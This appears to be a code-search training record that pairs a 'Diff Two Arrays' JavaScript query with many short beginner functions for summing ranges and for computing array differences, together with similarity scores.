[ "function sumRange(arr){\n let sum = 0;\n for(let i = Math.min(...arr); i <= Math.max(...arr); i++){\n sum += i;\n }\n return sum;\n}", "function sumRange(arr) {\n let count = Math.abs(arr[0] - arr[1]) + 1; //it gets the count between numbers\n let sum = ((arr[0] + arr[1]) * count) / 2; //sum of the numbers in a range formula\n return sum;\n}", "function sumAll(arr) {\n var min = Math.min(arr[0], arr[1]); \n var max = Math.max(arr[0], arr[1]); \n var sum = 0;\n\n for (var i = min; i <= max; i++){\n \tsum += i;\n }\n\n return sum;\n}", "function sumRange(range){\n var sum= 0 ;\n for(var i=0; i<=range.length-1; i+=1){\n\t sum+= range[i];\n }\n return sum;\n}", "function sumAll(arr) {\n var max = Math.max(arr[0], arr[1]);\n var min = Math.min(arr[0], arr[1]);\n var temp = 0;\n for (var i = min; i <= max; i++) {\n temp += i;\n }\n return temp;\n}", "function sumAll(arr) {\n \n var min = Math.min(arr[0], arr[1]);\n var max = Math.max(arr[0], arr[1]);\n var total=0;\n \n for(var i = min; i<=max; i++){\n total += i;\n \n }\n \nreturn total;\n}", "function sumAll(arr) {\n var min = Math.min(arr[0], arr[1]);\n var max = Math.max(arr[0], arr[1]);\n var answer = 0;\n for (var i = min; i <= max; i++){\n answer += i;\n }\n return answer;\n}", "function sumAll(arr) {\r\n\tvar min = function (a, b) {\r\n\t\treturn Math.min(a, b);\r\n\t};\r\n\tvar max = function (a, b) {\r\n\t\treturn Math.max(a, b);\r\n\t};\r\n\tvar start = arr.reduce(min);\r\n\tvar end = arr.reduce(max);\r\n\tconsole.log(start + \":\" + end);\r\n\tvar result = 0;\r\n\tfor (var i = 0; i <= end - start; i++) {\r\n\t\tresult += start + i\r\n\t}\r\n\treturn result;\r\n}", "function sumAll1(arr) {\n let max = Math.max(arr[0], arr[1]);\n let min = Math.min(arr[0], arr[1]);\n let sumBetween = 0;\n for (let i = min; i <= max; i++) {\n sumBetween += i;\n }\n return sumBetween;\n}", "function sumRange(start, end) { \n let myArr = [];\n for (let i = start; i <= end; i++)\n myArr.push(i);\n return myArr.reduce(function(a, b){\n return a + b; \n });\n}", "function sumAll(arr) {\n let min = Math.min(...arr);\n let max = Math.max(...arr);\n let sum = 0;\n for(let i=min; i<max+1; i++){\n sum += i;\n }\n return sum;\n }", "function sumAll(arr) {\n var sum =0;\n var x=arr[0];\n var y=arr[1];\n var max = Math.max(x,y);\n var min = Math.min(x,y);\n if(max>min){\n for(var i=min; i <= max ;i++){sum+=i;}\n }\n return sum;\n}", "function sumAll2(arr) {\n var sum = 0;\n for (var i = Math.min(...arr); i <= Math.max(...arr); i++) {\n sum += i;\n }\n return sum;\n}", "function sumAll(arr) {\n arr.sort((a, b) => { return a >= b ? 1 : -1 });\n const getSumAllNumbersInRange = (n1, n2) => {\n if (n1 === n2) return n1;\n return n1 + getSumAllNumbersInRange(n1 + 1, n2);\n }\n return getSumAllNumbersInRange(arr[0], arr[1]);\n}", "function sumAll(arr) {\n let min = Math.min(...arr);\n let max = Math.max(...arr);\n let sum = 0;\n for (let i = min; i <= max; i++) {\n sum += i;\n } return sum;\n}", "function sumAll(arr) {\n var max = Math.max(arr[0], arr[1]);\n var min = Math.min(arr[0], arr[1]);\n\n return (max + min) * (max - min + 1) / 2;\n}", "function sumAll(arr) {\n var largerNum = Math.max(...arr);\n var smallerNum = Math.min(...arr);\n var sum = 0;\n for(var i=smallerNum; i<=largerNum; i++){\n sum += i;\n }\n return sum;\n}", "function computeSumBetween(num1, num2) {\n var rangeArray = [];\n var sumResult = 0;\n\n if (num1 < num2) {\n for (var i = num1; i < num2; i++) {\n rangeArray.push(i);\n }\n\n for (var i = 0; i < rangeArray.length; i++) {\n sumResult += rangeArray[i];\n }\n\n return sumResult;\n\n } else {\n return 0;\n }\n\n}", "function sumAll(arr) {\r\n let sum =0;\r\n \r\n for(let i = Math.min(arr[0],arr[1]); i <= Math.max(arr[0],arr[1]); i++) {\r\n console.log(sum)\r\n sum += i;\r\n }\r\n console.log(sum)\r\n return sum;\r\n }", "function sumAll(arr) {\n var max = Math.max(arr[0], arr[1]);\n var min = Math.min(arr[0], arr[1]);\n var temp = 0;\n for(var i = min; i<= max; i++){\n temp += i;\n 6+4\n }\n return temp;\n }", "function sumAll(arr) {\n var sum = 0;\n var max = arr.reduce(function (a, b) {return Math.max(a, b);});\n var min = arr.reduce(function (a, b) {return Math.min(a, b);});\n for (var x = min; x < max + 1; x++) {\n sum += x;\n }\n return sum;\n }", "function sumAll(arr) {\n var largest = Math.max(arr[0], arr[1]),\n smallest = Math.min(arr[0], arr[1]),\n new_array = [smallest],\n difference = largest - smallest,\n num_to_push;\n // Build the new array with all the numbers inbetween\n for (var i = 0; i < difference; i++) {\n num_to_push = new_array[i] + 1;\n new_array.push(num_to_push);\n }\n // Use reduce method to sum all elements in the array\n var total = new_array.reduce(function (a, b) {\n return a + b;\n });\n\n return total;\n}", "function sumAll(arr) {\n var max = Math.max(...arr);\n var min = Math.min(...arr);\n for (var i = min + 1; i < max; i++) {\n arr.push(i);\n }\n //return newArr;\n var sumResult = arr.reduce(function(a, b) {\n return a + b;\n });\n return sumResult;\n}", "function sumAll(arr) {\n let sum = 0;\n if (arr[0] <= arr[1]) {\n for (let i = arr[0]; i <= arr[1]; i++) {\n sum += i;\n }\n } else {\n for (let i = arr[1]; i <= arr[0]; i++) {\n sum += i;\n }\n }\n return sum;\n}", "function sumAll(arr) {\n let fNum = Math.min(...arr);\n let lNum = Math.max(...arr);\n let n = lNum - fNum + 1;\n\n return (n / 2) * (fNum + lNum);\n}", "function sumAll(arr) {\n var result = 0;\n var min = arr.reduce(function(a, b){\n return Math.min(a, b);\n });\n var max = arr.reduce(function(a, b){\n return Math.max(a, b);\n });\n \n for (var i = min; i < (max + 1); i++){\n result += i;\n }\n return result;\n}", "function sumArray(array) {\n if(array == null || array.length <= 1) {\n return 0;\n }\n\n var lowAndHigh = Math.min(...array) + Math.max(...array);\n var addArray = array.reduce((acc, currentVal) => acc + currentVal);\n\n return addArray - lowAndHigh;\n}", "function getSum(a,b) {\n let arrayOfNumbers = [];\n\n const min = (a <= b) ? a : b;\n const max = (a <= b) ? b : a;\n\n for (var item = min; item <= max; item++) {\n arrayOfNumbers = [...arrayOfNumbers, item];\n }\n\n const sum = arrayOfNumbers.reduce((total, item) => total + item);\n return sum;\n}", "function sumOfRange(start, end, step = 1) {\r\n\tvar arrayOfNumbers = [start]; //begin an array with a single element set to the value of \"start\"\r\n\tvar sum = start;\r\n\t\r\n\tfor (var i = 1; arrayOfNumbers[i-1] < end; i++) {\r\n temp = arrayOfNumbers[i-1] + step;\r\n\t\tif(temp < end) {\r\n\t\t arrayOfNumbers[i] = temp;\r\n\t\t sum = sum + arrayOfNumbers[i]\r\n }\r\n }\r\n\treturn [{\"array\": arrayOfNumbers, \"sum\": sum}]\r\n}", "function sum_arr(arr, min = 0, max = -1) {\n\tif (max === -1) {\n\t\tmax = arr.length - 1;\n\t}\n\n\tlet ret = 0;\n\tfor (let i = min; i <= max; i++) {\n\t\tret += arr[i];\n\t}\n\treturn ret;\n}", "function findSumAll(arr){\n let maxNum = Math.max(...arr);\n let minNum = Math.min(...arr);\n let sum = 0;\n let i = minNum;\n while(i <= maxNum){\n sum += i;\n i++\n console.log(i);\n }\n console.log(sum);\n\n}", "function sumAll(arr) {\n var allNums = [];\n var result = 0;\n var big = Math.max(arr[0],arr[1]); \n var small = Math.min(arr[0],arr[1]);\n for (var j = small; j <= big; j++) {\n allNums.push(j);\n }\n console.log(allNums);\n for(var i = 0; i <= allNums.length-1; i++) {\n result += allNums[i];\n }\n return result;\n}", "function sumAll(arr) {\n var largest = Math.max(arr[0], arr[1]),\n smallest = Math.min(arr[0], arr[1]),\n new_array = [smallest],\n difference = largest - smallest,\n counter = 0,\n total = 0,\n num_to_push;\n while (counter < difference) {\n num_to_push = new_array[counter] + 1;\n new_array.push(num_to_push);\n counter++;\n }\n for (var i = 0; i < new_array.length; i++) {\n total += new_array[i];\n }\n return total;\n}", "function sumOfRangeClever (start, end, step = 1){\r\n\tvar array = [];\r\n\tvar sum = 0;\r\n\tfor (var i = start; i <= end; i++) {\r\n\t\tarray.push(i);\r\n\t}\r\n\t\r\n\tfor(var value of array){\r\n\t\tsum = sum + value;\r\n }\r\n\treturn ({\"array\": array, \"sum\": sum});\r\n}", "function sumAll(arr) {\n const numbers = [];\n let indx = arr.sort((a, b) => a - b)[0];\n let extreme = arr.sort((a, b) => a - b)[1];\n while (indx < extreme - 1) {\n indx += 1;\n numbers.push(indx);\n }\n let result = arr.concat(numbers).reduce((a, b) => a + b);\n return result;\n}", "function sumNumbers(sumArray) {\n\n}", "function sumAll(arr) {\n let sortedArr = arr.sort((a, b) => a - b);\n let sum = 0;\n\n for (let i = sortedArr[0]; i <= sortedArr[1]; i++) {\n sum += i;\n }\n\n return sum;\n}", "function sum(arr, begin, end) {\n let sum = 0;\n for (let i = begin; i < end; i++) {\n sum += arr[i];\n }\n return sum;\n}", "function rangeTotal(n1, n2) {\n var list = [];\n var sum = 0\n for (let index = n1; index <= n2; index++) {\n list.push(index);\n }\n for (let index = 0; index < list.length; index++) {\n const element = list[index];\n sum += element;\n }\n return sum\n\n\n\n}", "function sumArray(array) {\n if (array === null || !isNaN(array)) {\n return 0\n }else{\n var min = Math.min.apply(Math, array)\n var max = Math.max.apply(Math, array)\n var total = 0\n for (var i = 0; i < array.length;i++) {\n total += array[i]\n }\n return eval(total - min - max)\n }\n}", "function sumOfRangeClever (start, end, step){\r\n\tvar array = [];\r\n\tvar sum = 0;\r\n\t\r\n\tif (step < 0) {\r\n\t\tstep = -step; //This will make sure the for loops do not cause aS stack overflow!\r\n\t}\r\n\t\r\n\t//if start < end, then simply increment until value is less than or equal to the hightest value (end)\r\n\tif (start < end) {\r\n\t\tfor (let i = start; i <= end; i = i + step) {\r\n\t\t\tarray.push(i);\r\n\t\t}\r\n } else { //if start > end then simply decrement (instead of incrementing) until value is greater than or equal to the lowest value (end)\r\n\t\t\r\n\t\tfor (let i = start; i >= end; i = i - step) {\r\n\t\t\tarray.push(i);\r\n\t\t}\r\n } else { //=> start = end set the array to start (or end, doesn't matter)\r\n\t\tarray = [start];\r\n\t\t\r\n\t}\r\n\t\r\n\t//sum the values in the newly formed array \r\n for(var value of array){\r\n sum = sum + value;\r\n }\r\n return ({\"array\": array, \"sum\": sum});\r\n\t\r\n}", "function sumAll(arr) {\n const newArr = [...arr];\n let min = Math.min(...newArr);\n let max = Math.max(...newArr);\n let count = 0;\n for (let i = min; i <= max; i++) {\n count += i;\n }\n return count;\n}", "function sum (start, end) {\n if (start > end) {\n return sum(end, start);\n } else if (start === end) {\n return end;\n } else {\n return start + sum(start + 1, end);\n }\n}", "function sumAll(arr) {\n\tlet total = 0;\n\t\n\t// establish the direction and set vars accordingly\n\tlet first = arr[0];\n\tlet last = arr[arr.length - 1];\n\t\n\tif (first === last) {\n\t\t// simple edge case\n\t\treturn first + last;\n\t}\n\telse if (first > last) {\n\t\t// we need to flip direction\n\t\tfirst = last;\n\t\tlast = arr[0];\n\t}\n\telse {\n\t\t\n\t}\n\t\n\t// accumulate total\n for (let i = first; i <= last; i++) {\n \ttotal += i;\n }\n \n return total;\n\n\t\n}", "function GetSum( a,b ) {\n let min = Math.min(a,b)\n let max = Math.max(a,b)\n \n let total = 0\n \n for(let i = min; i <= max; i++){\n total += i\n }\n return total\n }", "function sumOfNumbers(start, end) {\n start = Number(start);\n end = Number(end);\n\n let sum = 0;\n for(i=start; i<=end; i++){\n sum += i;\n }\n return sum;\n}", "function sumAll(arr) {\n var sumTillLast = (arr[arr.length-1])*(arr[arr.length-1]+1) /2;\n var sumTillFirst = (arr[0])*(arr[0]+1) /2;\n if(arr[0] < arr[1]) {\n var sum = (sumTillLast-sumTillFirst)+arr[0]; \n } else {\n var sum = sumTillFirst - sumTillLast + arr[1];\n }\n return sum;\n}", "function sum(ranging){\n\tvar res = 0;\n\tfor (var i=0; i<ranging.length; i++){\n\t\tres+=ranging[i];\n\t}\n\treturn res;\n}", "function numberSummer(start = 1, end = 10, interval = 1) {\n const nums = [];\n\n for (let i = start; i <= end; i += interval) {\n nums.push(i);\n }\n\n console.log(nums);\n\n const sum = nums.reduce((sum, num) => sum + num);\n return sum;\n //console.log(sum);\n}", "function arrSum (array, start, end, hops){\n sum = 0\n for(var i = start; i < end; i++){\n if ((i - start)%hops == 0){\n sum = sum + array[i];\n }\n }\n\n return sum\n}", "function rangeRover(arr) { \n let min = Math.min(arr[0], arr[1]), max = Math.max(arr[0], arr[1]);\n //th\n // let emptyArr = [];\n // return (max - min +1) * (max + min)/2;\n let sum = max;\n for (var i = min; i < max; i++) {\n sum += i;\n }\n return sum;\n}", "function twoNumberSum(array, targetSum) {\n // take every number in the array (except the last one)\n for (let i = 0; i < array.length - 1; i++) {\n // take every following number in the array (so obvs not the first, but incl the last one)\n for (let j = i + 1; j < array.length; j++) {\n // if the two selected numbers give the needed sum\n if (array[i] + array[j] === targetSum) {\n // return the two numbers in a sorted array\n // you have to provide compareFn to sort, because JS sort casts values to string\n // so [3,4,30] becomes [3,30,4]\n return [array[i], array[j]].sort((a, b) => a - b);\n }\n }\n }\n // return [] if no numbers in the array add up to the required sum\n return [];\n}", "function sumRange (start, end, acc) {\n if (start > end)\n return acc;\n return sumRange(start + 1, end, acc + start);\n}", "function sumRange(num){\n if (num === 1) return 1;\n return num + sumRange(num -1)\n}", "function sumAll(arr) {\n let answer = 0;\n\n let firstNum = arr[0];\n let secondNum = arr[1];\n\n if (secondNum > firstNum) {\n \n while (firstNum <= secondNum) {\n answer += firstNum;\n firstNum++;\n }\n }\n if (firstNum > secondNum) {\n firstNum = arr[1];\n secondNum = arr[0];\n while (firstNum <= secondNum) {\n answer += firstNum;\n firstNum++;\n }\n }\n console.log(answer);\n return answer;\n}", "function sumAll(arr) {\n let sort = arr.sort((a, b) => a - b);\n let newArr = [];\n for (let i = sort[0]; i <= sort[1]; i++) {\n newArr.push(i);\n }\n return newArr.reduce((prev, curr) => prev + curr);\n}", "function GetSum( a, b ) {\n var list = [];\n \n if ( a < b ) {\n for(var i = a; i <= b; i++) {\n list.push(i);\n }\n }\n \n else {\n for(var i = b; i <= a; i++) {\n list.push(i);\n }\n }\n \n // ES6 to the rescue\n var sum = list.reduce((a, b) => a + b);\n return sum; \n}", "function GetSum( a,b )\n{\n if (a === b) return a; else {\n let min,max; let out = 0;\n if (a < b) {min = a; max = b;} else {min = b; max = a}\n out = 0;\n\n for (let i = 0; i < Math.abs(max - min); i++){\n out += max - i;\n }\n return out + min;\n }\n}", "function sumMinMax(arr) {\n let min = arr[0];\n let max = arr[0];\n for (let i = 0; i < arr.length; i++) {\n if (min > arr[i]) {\n min = arr[i];\n }\n if (max < arr[i]) {\n max = arr[i];\n }\n }\n return max + min;\n}", "countSumOfRange() {\n \twhile (this.rangeStart <= this.rangeFinish) {\n this.sum = this.sum + this.rangeStart;\n this.rangeStart++;\n }\n this.resultSum.textContent = this.sum;\n }", "function getSum( a,b ) {\n let min = Math.min(a,b);\n let max = Math.max(a,b);\n let sum = 0;\n if (min >= 0) {\n while (max-min >= 1) {\n sum = sum + max;\n max--;\n }\n } else if (min < 0) {\n while (-min-max >= 1) {\n sum += max;\n max--;\n }\n }\n\n \n \n console.log(min, max, sum)\n \n return;\n}", "function sumArray(arr){\n if (arr.length <= 1 || arr === null) return 0;\n\n const maxidx = arr.lastIndexOf(Math.max.apply(null, arr));\n arr.splice(maxidx,1);\n\n const minidx = arr.lastIndexOf(Math.min.apply(null, arr));\n arr.splice(minidx,1);\n\n var sum = 0;\n return sum = arr.reduce(function (accumulator, currentValue) {\n return accumulator + currentValue;\n }, 0);\n\n}", "function twoNumberSum(array, targetSum) {\n array.sort((a, b) => a - b);\n let left = 0;\n let right = array.length - 1;\n\n while (left < right) {\n let currentSum = array[left] + array[right];\n if (currentSum === targetSum) return [array[left], array[right]];\n else if (currentSum < targetSum) {\n left += 1;\n } else if (currentSum > targetSum) {\n right -= 1;\n }\n }\n\n return [];\n}", "function sumRange(start, end, acc) {\n if(start > end) {\n return acc;\n }\n return sumRange(start + 1, end, acc + start);\n}", "function sumOfAllNumbers(array) {\n var sum = 0;\n for (var i = 0; i < array.length; i++) {\n sum += array[i];\n }\n\n return sum;\n}", "function getSum(a, b) {\n let arr = []\n let sum = 0\n if (a === b) {\n return a\n } else if (a !== b) {\n for (let i = a; i <= b; i++) {\n arr.push(i)\n }\n for (let j = 0; j < arr.length; j++) {\n sum += arr[j]\n }\n }\n return sum\n}", "function sumInRange (numbers, queries) {\n // yi = yi − 1 + xi-1 for i > 0, and y0 = 0\n const prefixSums = numbers.reduce((acc, number, i) => {\n acc.push(acc[i] + numbers[i])\n return acc\n }, [0])\n\n // To get the sum of the elements xa + xa+1 + ... + xb we would calculate yb+1 - ya.\n const totalSum = queries.reduce((acc, [a, b]) => {\n return acc + prefixSums[b + 1] - prefixSums[a]\n }, 0)\n\n return mod(totalSum, 1000000007)\n}", "function sumAllnumbers(numbersToSum) {\n let sum = 0;\n for (const i = 0; i < numbersToSum.length; i++) {\n sum += numbersToSum[i];\n }\n return sum;\n}", "function sum(numbers) {\n var total = 0;\n for (var i = 0; i < numbers.length; i++) {\n total += numbers[i];\n }\n return total;\n }", "function sumArray(arr)\n{ // for loop that iterates through array\n for(var i=0; i<arr.length; i++){\n // add numbers to previous sum\n sum = sum + arr[i];\n }\n// return the sum\nreturn sum;\n}", "function sum(a, b) {\n\tnums = [];\n\tsums = 0;\n\tfor (var i=a; i<b+1;i++) {\n\t\tnums.push(i);\n\t}\n\tfor (var i=0;i<nums.length;i++) {\n\t\tsums += nums[i];\n\t}\n\tconsole.log(sums)\n}", "function sum (numbers) {\n var result = 0;\n\n for (var i = 0; i < numbers.length; i++) {\n\tresult = result + numbers[i];\n }\n return result;\n}", "function sumArray(numbers) {\n let sum = 0;\n for (let i = 0; i < numbers.length; i++) {\n sum += numbers[i];\n }\n return sum;\n }", "function returnSum(x,y, arr){\n var sum = 0;\n var i;\n for(i = 0; i < arr.length; i++){\n //console.log(i);\n if(i >= x & i <= y){\n //console.log('add!');\n sum += arr[i];\n }\n }\n return sum;\n}", "function sumArray(numbers) {\n let total = 0;\n\tfor (let i = 0; i < numbers.length; i++) {\n\t\ttotal += numbers[i];\n\t}\n\treturn total;\n}", "function sum (numbers) {\n\treturn numbers.reduce(function(r,i) {\n\t\treturn r+i;\n\t},0);\n}", "function sum(numbers) {\n var sum = 0;\n for (var i = 0; i < numbers.length; i++)\n sum += numbers[i];\n\n return sum;\n}", "function sumNumbers() {\n let all = 0;\n for (let i = 0; i < arguments.length; ++i) {\n all += arguments[i];\n }\n return all;\n}", "function sum2 (numbers) {\n var resultado = 0\n for (var i = 0; i <= numbers.length; i++) {\n var number = number [1];\n result += number;\n }\n return resultado;\n}", "function printIntsAndSum(start, end) {\n\tvar sum = 0;\n\tfor(var i = start; i <= end; i++) {\n\t\tsum += i;\n\t\tconsole.log(i + \" sum=\" + sum);\n\t}\n}", "function GetSum(a, b) {\n\tlet total = 0;\n\tif (a === b) {\n\t\treturn a;\n\t}\n\tif (a < b) {\n\t\tfor (let i = a; i <= b; i++) {\n\t\t\ttotal += i;\n\t\t}\n\t\treturn total;\n\t}\n\tif (b < a) {\n\t\tfor (let i = b; i <= a; i++) {\n\t\t\ttotal += i;\n\t\t}\n\t\treturn total;\n\t}\n}", "function sumArr(nums) {\n // algorithm here\n}", "function sumArray(numbers) {\n let sum = 0\n for (let i = 0; i < numbers.length; i++)\n sum += numbers[i];\n return sum;\n}", "function getSumOf(lowerBound, higherBound) {\n if (lowerBound >= higherBound) {\n return 0;\n }\n\n let finalResult = 0;\n\n for (let i = lowerBound; i <= higherBound; i++) {\n finalResult += i;\n }\n\n return finalResult;\n}", "function sum(numbers) {\n var summed = 0;\n\n for (i = 0; i < numbers.length; i++) {\n summed += numbers[i];\n }\n return summed;\n}", "function twoNumberSum(array, targetSum) {\n\tvar result = [];\n\tfor (var i = 0; i < array.length; i++) {\n\t\tfor (var j = i+1; j < array.length; j++) {\n\t\t\tif (array[i] + array[j] === targetSum) {\n\t\t\t\tresult.push(array[i], array[j]);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\treturn result;\n}", "function sum(numbers) {\n return numbers.reduce(function(a, b) {\n return parseInt(a) + parseInt(b)\n });\n}", "function getSum( a,b )\r\n {\r\n let max = Math.max(a,b);\r\n let min = Math.min(a,b);\r\n let sum =0;\r\n if(a===b){\r\n return a;\r\n }else{\r\n for(let i =min ; i <= max ; i++) {\r\n sum +=i;\r\n }\r\n }\r\n return sum;\r\n \r\n }", "function twoNumberSum(array, targetSum) {\n //sort array small to big N(log)N operation will mutate the array\n array.sort(function (a, b) { return a - b; });\n var left = 0;\n var right = array.length - 1;\n //quicksort \n while (left < right) {\n if (array[left] + array[right] === targetSum) {\n return [array[left], array[right]];\n }\n if (array[left] + array[right] > targetSum) {\n right--;\n }\n if (array[left] + array[right] < targetSum) {\n left++;\n }\n }\n return [];\n}", "function sum(numbers) {\r\nvar total = 0;\r\nfor (var i = 0; i < numbers.length; i++) {\r\n total += numbers[i];\r\n}\r\nreturn total;\r\n}", "function sumAll(arr) {\n let arrSorted = arr.sort((a,b)=> a-b);\n let total = 0\n\n for(var i = (arrSorted[0]); i <= (arrSorted[arrSorted.length-1]); i++){\n total += i;\n }\n return total;\n \n}", "function sum(numbers){\n \"use strict\";\n var amount = 0;\n for (var i = 0; i < numbers.length; i++) {\n amount = amount + numbers[i]\n }\n return amount;\n }", "function twoNumberSum(array, targetSum) {\n // in v8 uses timsort, worst case is O(nlogn)\n // sort the values\n array.sort((a, b) => a - b);\n\n // take leftmost value\n let leftIndex = 0;\n // and rightmost value\n let rightIndex = array.length - 1;\n\n while (leftIndex < rightIndex) {\n // sum left and and right\n const runningSum = array[leftIndex] + array[rightIndex]\n // if matches the target\n if (runningSum === targetSum) {\n // bingo, no need to sort, it's already done\n return [array[leftIndex], array[rightIndex]]\n // if the running sum is less\n } else if (runningSum < targetSum) {\n // take next item from the left side\n leftIndex++;\n // so the running sum is more\n } else {\n // take next item from the right, so going this <-- way\n rightIndex--;\n }\n }\n // oops didn't find anything\n return []\n}", "function sumAll(arr) {\n arr.sort((a,b) => a -b);\n var sum = arr[0];\n if(arr[0] == arr[1]){\n return sum;\n }else{\n sum++;\n return arr[0] + sumAll([arr[0]+1, arr[1]]);\n }\n}", "function sumLowHigh(arr) {\n // sort the array\n arr.sort(compareNumeric)\n // get the first element\n const lowest = arr[0];\n // get the last element\n const highest = arr[arr.length-1];\n\n const exclude = [lowest, highest]\n\n let sum = 0;\n for (let i = 0; i < arr.length; i++) {\n //TODO: if the current value is in exclude array, then skip\n if (){\n // skip \n }\n else {\n sum += arr[i];\n }\n }\n\n return sum;\n}", "function sumPair(array) {\n let left = 0;\n let right = array.length - 1;\n\n while (left < right) {\n sum = array[left] + array[right];\n if (sum === 0) {\n return [array[left], array[right]];\n } else if (sum > 0) {\n right--;\n } else {\n left++;\n } //if sum < 0\n }\n}", "function sumArray(numbers) {\n return numbers.reduce((a, b) => a + b, 0)\n}", "function sumArray(array) {\n\t// if the array is null or no elements or one element\n\tif (!array || !array.length || array.length === 1) {\n\t\t// then return 0\n\t\treturn 0;\n\t}\n\t// // sort the array\n\t// let sorted = array.sort((a, b) => a - b);\n\t// // create a new variable slicing out the first and last elements\n\t// let sliced = sorted.slice(1, -1);\n\t// // sum up the elements\n\t// return sliced.reduce((sum, currVal) => sum + currVal, 0);\n\treturn array\n\t\t.sort((a, b) => a - b)\n\t\t.slice(1, -1)\n\t\t.reduce((sum, currVal) => sum + currVal, 0);\n}", "function getSum(numbers){\n var sum =numbers[0];\n for( var i=0; i < numbers.length;i++ ){\n var element =numbers[i];\n sum = element + sum;\n\n }\n return sum\n\n}", "function methodOne(arr) {\n var max = Math.max(arr[0], arr[1]);\n var min = Math.min(arr[0], arr[1]);\n var current = min + 1;\n while (max > current) {\n arr.push(current);\n current++;\n }\n return arr.reduce(function(total, num) {\n return total + num;\n }, 0);\n}" ]
[ "0.7916033", "0.79049814", "0.7894808", "0.7872145", "0.78595835", "0.7795393", "0.77930355", "0.7782139", "0.7774781", "0.77567065", "0.76688635", "0.7659568", "0.762021", "0.7613617", "0.7606865", "0.75338453", "0.75337404", "0.7498265", "0.74603516", "0.74252784", "0.7381313", "0.7378901", "0.73355323", "0.7322848", "0.73158437", "0.7311943", "0.72877026", "0.7272352", "0.7243985", "0.7242419", "0.7179927", "0.7155335", "0.71151936", "0.70824987", "0.704466", "0.70062935", "0.69992393", "0.6984742", "0.6955091", "0.6934749", "0.6921658", "0.6918917", "0.6913304", "0.69102925", "0.69019943", "0.6892104", "0.68824977", "0.68299323", "0.6829", "0.67856216", "0.67333394", "0.6688889", "0.6686645", "0.66865194", "0.667404", "0.6672634", "0.6671126", "0.6661982", "0.66545784", "0.66493917", "0.66271746", "0.6573117", "0.6560274", "0.6553495", "0.6551283", "0.6534139", "0.64965296", "0.64900196", "0.6462769", "0.6459061", "0.6454205", "0.6435272", "0.6434643", "0.642755", "0.64226234", "0.6416256", "0.64116025", "0.6409452", "0.63989466", "0.6393305", "0.6392109", "0.63873935", "0.6384262", "0.63822347", "0.6370066", "0.6366392", "0.6365669", "0.6352324", "0.6352113", "0.63451433", "0.632931", "0.6326957", "0.631679", "0.63114333", "0.63086873", "0.6306375", "0.6304276", "0.6303774", "0.63009936", "0.6290921" ]
0.74118215
20
Diff Two Arrays Compare two arrays and return a new array with any items only found in one of the two given arrays, but not both. In other words, return the symmetric difference of the two arrays.
function diffArray(arr1, arr2) { var newArr1 = []; var newArr2 = []; function contains1(value) { if (arr1.indexOf(value) === -1) { return value; } } function contains2(value) { if (arr2.indexOf(value) === -1) { return value; } } newArr1 = arr2.filter(contains1); newArr2 = newArr1.concat(arr1.filter(contains2)); return newArr2; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function diffArray(arr1, arr2) {\n var newArr = [];\n // Same, same; but different.\n let symmetricDiff = arr1\n .filter(x => !arr2.includes(x))\n .concat(arr2.filter(x => !arr1.includes(x)));\n return symmetricDiff;\n}", "function arrayDiff(a, b) {\n\treturn a.filter(ar => !b.includes(ar));\n}", "function arrayDiff(a, b) {\n return a.filter((el) => !b.includes(el));\n}", "function arrayDiff(a, b) {\n const diff = [];\n\n for (let i = 0; i < b.length; i++) {\n if (!a.includes(b[i])) diff.push(b[i]);\n }\n\n return diff;\n}", "function array_diff(a, b) {\n return a.filter(function(v){\n return b.indexOf(v) === -1;\n });\n}", "function arrayDiff(a, b) {\n let result = []\n for (x in a) {\n if (!(b.includes(a[x]))) {\n result.push(a[x]);\n }\n }\n return result;\n}", "function array_diff(a, b) {\r\n let finalArr = a.filter(function(a) {\r\n return !b.includes(a)});\r\n return finalArr;\r\n }", "function arrayDiff(a, b) {\n let result = []\n\n result = a.filter(ele => !b.includes(ele)) \n \n\n return result\n}", "function diffArray(arr1, arr2) {\r\n return arr1.filter(function (x) {\r\n return !arr2.includes(x); // same as arr2.indexOf(x) === -1\r\n }).concat(arr2.filter(function (x) {\r\n return !arr1.includes(x)\r\n }));\r\n}", "function diffArray(a, b) {\n var seen = [], diff = [];\n for ( var i = 0; i < b.length; i++)\n seen[b[i]] = true;\n for ( var i = 0; i < a.length; i++)\n if (!seen[a[i]])\n diff.push(a[i]);\n return diff;\n}", "function diffArray(arr1, arr2) {\r\n return arr1.concat(arr2).filter(function (item) {\r\n return !arr1.includes(item) || !arr2.includes(item)\r\n });\r\n}", "function array_diff(a, b) {\n var arr1 = a;\n var arr2 = b;\n return arr1.filter(function(elem){\n return arr2.indexOf(elem) == -1;\n })\n}", "function diffArray(arr1, arr2) {\n return arr1\n .concat(arr2)\n .filter(item => !arr1.includes(item) || !arr2.includes(item));\n}", "function diffArray(arr1, arr2) {\n return arr1\n .concat(arr2)\n .filter(\n item => !arr1.includes(item) || !arr2.includes(item)\n )\n}", "function arrayDiff(a, b) {\n var diff = [];\n\n for (var i = 0; i < b.length; i++) {\n if (a.indexOf(b[i]) < 0) diff.push(b[i]);\n }\n\n return diff;\n}", "function arrayDiff(a, b) {\n var diff = [];\n\n for (var i = 0; i < b.length; i++) {\n if (a.indexOf(b[i]) < 0) diff.push(b[i]);\n }\n\n return diff;\n}", "function arrayDiff(a, b) {\n var diff = [];\n\n for (var i = 0; i < b.length; i++) {\n if (a.indexOf(b[i]) < 0) diff.push(b[i]);\n }\n\n return diff;\n}", "function arrayDiff(a, b) {\n var diff = [];\n\n for (var i = 0; i < b.length; i++) {\n if (a.indexOf(b[i]) < 0) diff.push(b[i]);\n }\n\n return diff;\n}", "function arrayDiff(a, b) {\n var diff = [];\n\n for (var i = 0; i < b.length; i++) {\n if (a.indexOf(b[i]) < 0) diff.push(b[i]);\n }\n\n return diff;\n}", "function arrayDiff(a, b) {\n var diff = [];\n\n for (var i = 0; i < b.length; i++) {\n if (a.indexOf(b[i]) < 0) diff.push(b[i]);\n }\n\n return diff;\n}", "function arrayDiff(a, b) {\n var diff = [];\n\n for (var i = 0; i < b.length; i++) {\n if (a.indexOf(b[i]) < 0) diff.push(b[i]);\n }\n\n return diff;\n}", "function arrayDiff(a, b) {\n let arr = [...a];\n b.forEach(d => {\n arr = arr.filter(x => x != d);\n });\n return arr;\n}", "function array_diff(a, b) {\n return a.filter(function(item) {\n if (b.indexOf(item)==-1) {\n return true;\n }\n return false;\n });\n}", "function arrayDiff(a, b) {\n var diff = [];\n for (var i = 0; i < b.length; i++) {\n if (a.indexOf(b[i]) < 0) diff.push(b[i]);\n }\n return 